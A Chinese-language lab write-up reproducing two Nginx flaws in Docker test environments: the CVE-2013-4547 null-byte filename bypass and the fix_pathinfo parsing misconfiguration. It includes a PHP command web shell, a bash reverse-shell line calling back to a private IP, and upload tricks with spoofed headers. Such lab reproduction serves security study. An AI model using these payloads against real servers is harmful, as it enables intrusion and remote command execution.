目录
- Nginx漏洞复现
- ①CVE-2013-4547(文件名逻辑漏洞)复现
- ②Nginx解析漏洞nginx_parsing_vulnerability复现
Nginx漏洞复现
Nginx与Apache一样,自身是不支持解析PHP语言的,只能通过加载PHP模块来解析PHP。 大致流程如下:
用户访问域名->域名进行DNS解析->请求到对应IP服务器和端口->nginx监听到对应端口的请求->nginx对url进行location匹配->执行匹配location下的规则->nginx转发请求给php->php-fpm的master进程监听到nginx请求->master进程将请求分配给其中一个闲置的worker进程->worker进程执行请求->worker进程返回执行结果给nginx->nginx返回结果给用户。
①CVE-2013-4547(文件名逻辑漏洞)复现
该漏洞利用了Nginx错误的解析了URL地址,导致可以绕过服务端限制,从而解析PHP文件,造成命令执行的危害。
根据nginx.conf文件中location中的定义,以.php结尾的文件都解析为php。
若我们访问的文件名为shell.gif[0x20][0x00].php
,该文件名以.php结尾可以被FastCGI接收,FastCGI在读取文件名时被00截断,导致读取的文件名为shell.gif[0x20],配合limit_extensions为空即可利用成功。
- 该漏洞利用条件有两个:
Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
php-fpm.conf中的security.limit_extensions为空
- 进入到 CVE-2013-4547 目录启动漏洞环境,启动漏洞环境
docker-compose up -d
- 浏览器访问 http://ip:8080 看到如下界面
- 选择文件,尝试上传PHP文件,由于环境有黑名单限制,所以文件上传失败
- 抓包,利用CVE-2013-4547。我们上传一个phpinfo.jpg ,里面的内容还是
<?php phpinfo();?>
,注意后面的空格: - 上传成功,接下来需要构造我们
phpinfo.jpg[0x20][0x00].php
来造成Nginx解析漏洞,使我们的 phpinfo.jpg 被解析成php,访问 http://IP:8080/uploadfiles/phpinfo.jpg,使用Burp向抓取的数据包中的 phpinfo.jpg 后面添加[0x20][0x00]
然后使用 repeater 发包可以发现 PHP 已经被解析。 - 抓取访问成功的包
- 访问成功
- 使用上述方法上传文件 system.jpg ,注意要有空格,内容为
<?php system($_GET[cmd]); ?>
- 使用上述方法上传文件 system.jpg ,注意要有空格,内容为
<?php system($_GET[cmd]); ?>
- 上传一个shell脚本,内容为反弹shell的payload bash -i >& /dev/tcp/192.168.8.144/7777 0>&1
- 然后抓取加了空格发送成功的包
- 可以看到反弹shell成功
②Nginx解析漏洞nginx_parsing_vulnerability复现
该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
- 进入到 nginx_parsing_vulnerability 目录启动漏洞环境,启动漏洞环境
docker-compose up -d
将请求头当中的 Content-type 修改为 image/png,并在文件头部添加GIF89a,成功上传
- -
浏览器访问上传后的路径,无法解析成为php
在路径后添加 ./php,成功按照PHP解析
按照上述步骤上传木马文件,使用蚁剑进行测试,可成功连接木马
- 漏洞成因
fix_pathinfo=1
security.limit_extensions=空